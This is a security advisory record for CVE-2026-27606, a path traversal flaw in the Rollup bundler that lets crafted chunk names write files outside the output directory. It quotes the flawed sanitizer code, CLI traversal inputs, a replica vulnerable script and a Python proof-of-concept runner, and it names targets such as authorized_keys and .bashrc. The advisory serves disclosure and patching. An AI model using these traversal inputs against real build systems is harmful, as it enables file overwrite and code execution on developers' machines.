CVE-2026-27606: Rollup Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mw96-cpmx-2vgc",
  "modified" : "2026-02-25T22:37:26Z",
  "published" : "2026-02-25T22:37:26Z",
  "aliases" : [ "CVE-2026-27606" ],
  "summary" : "Rollup 4 has Arbitrary File Write via Path Traversal",
  "details" : "### Summary\nThe Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.\n\n### Details\nThe vulnerability is caused by the combination of two flawed components in the Rollup core:\n\n1.  **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\\`). \n    ```typescript\n    // src/utils/sanitizeFileName.ts (Line 3)\n    const INVALID_CHAR_REGEX = /[\\u0000-\\u001F\"#$%&*+,:;<=>?[\\]^`{|}\\u007F]/g;\n    ```\n    This allows path traversal sequences like `../../` to pass through the sanitizer unmodified.\n\n2.  **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the \"sanitized\" filename.\n    ```typescript\n    // src/rollup/rollup.ts (Line 317)\n    const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);\n    ```\n    Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write.\n\n### PoC\nA demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.\n\n**Scenario: CLI Named Input Exploit**\n1.  Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`).\n2.  Execute Rollup with a specifically crafted named input where the key contains traversal characters:\n    ```bash\n    rollup --input \"a/../../pwned.js=main.js\" --dir dist\n    ```\n3.  **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder.\n\n**Reproduction Files provided :**\n*   `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug.\n*   `exploit.py`: Automated script to run the PoC and verify the file escape.\n\nvuln_app.js\n```js\nconst path = require('path');\nconst fs = require('fs');\n\n/**\n * REPLICATED ROLLUP VULNERABILITY\n * \n * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)\n * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)\n */\n\nfunction sanitize(name) {\n    // The vulnerability: Rollup's regex fails to strip dots and slashes, \n    // allowing path traversal sequences like '../'\n    return name.replace(/[\\u0000-\\u001F\"#$%&*+,:;<=>?[\\]^`{|}\\u007F]/g, '_');\n}\n\nasync function build(userSuppliedName) {\n    const outputDir = path.join(__dirname, 'dist');\n    const fileName = sanitize(userSuppliedName);\n\n    // Vulnerability: path.resolve() follows traversal sequences in the filename\n    const outputPath = path.resolve(outputDir, fileName);\n\n    console.log(`[*] Target write path: ${outputPath}`);\n\n    if (!fs.existsSync(path.dirname(outputPath))) {\n        fs.mkdirSync(path.dirname(outputPath), { recursive: true });\n    }\n\n    fs.writeFileSync(outputPath, 'console.log(\"System Compromised!\");');\n    console.log(`[+] File written successfully.`);\n}\n\nbuild(process.argv[2] || 'bundle.js');\n\n```\n\nexploit.py\n```py\nimport subprocess\nfrom pathlib import Path\n\ndef run_poc():\n    # Target a file outside the 'dist' folder\n    poc_dir = Path(__file__).parent\n    malicious_filename = \"../pwned_by_rollup.js\"\n    target_path = poc_dir / \"pwned_by_rollup.js\"\n\n    print(f\"=== Rollup Path Traversal PoC ===\")\n    print(f\"[*] Malicious Filename: {malicious_filename}\")\n    \n    # Trigger the vulnerable app\n    subprocess.run([\"node\", \"poc/vuln_app.js\", malicious_filename])\n\n    if target_path.exists():\n        print(f\"[SUCCESS] File escaped 'dist' folder!\")\n        print(f\"[SUCCESS] Created: {target_path}\")\n        # target_path.unlink() # Cleanup\n    else:\n        print(\"[FAILED] Exploit did not work.\")\n\nif __name__ == \"__main__\":\n    run_poc()\n```\n\n## POC \n```rollup --input \"bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js\" --dir dist```\n\n<img width=\"1918\" height=\"1111\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4\" />\n\n\n\n### Impact\nThis is a **High** level of severity vulnerability.\n*   **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges.\n*   **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.\n*   **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "rollup"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.80.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "rollup"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.30.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "rollup"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.59.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rollup/rollup/security/advisories/GHSA-mw96-cpmx-2vgc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27606"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rollup/rollup/commit/c60770d7aaf750e512c1b2774989ea4596e660b2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rollup/rollup/commit/c8cf1f9c48c516285758c1e11f08a54f304fd44e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rollup/rollup/commit/d6dee5e99bb82aac0bee1df4ab9efbde455452c3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rollup/rollup"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rollup/rollup/releases/tag/v2.80.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rollup/rollup/releases/tag/v3.30.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rollup/rollup/releases/tag/v4.59.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T22:37:26Z",
    "nvd_published_at" : "2026-02-25T03:16:04Z"
  }
}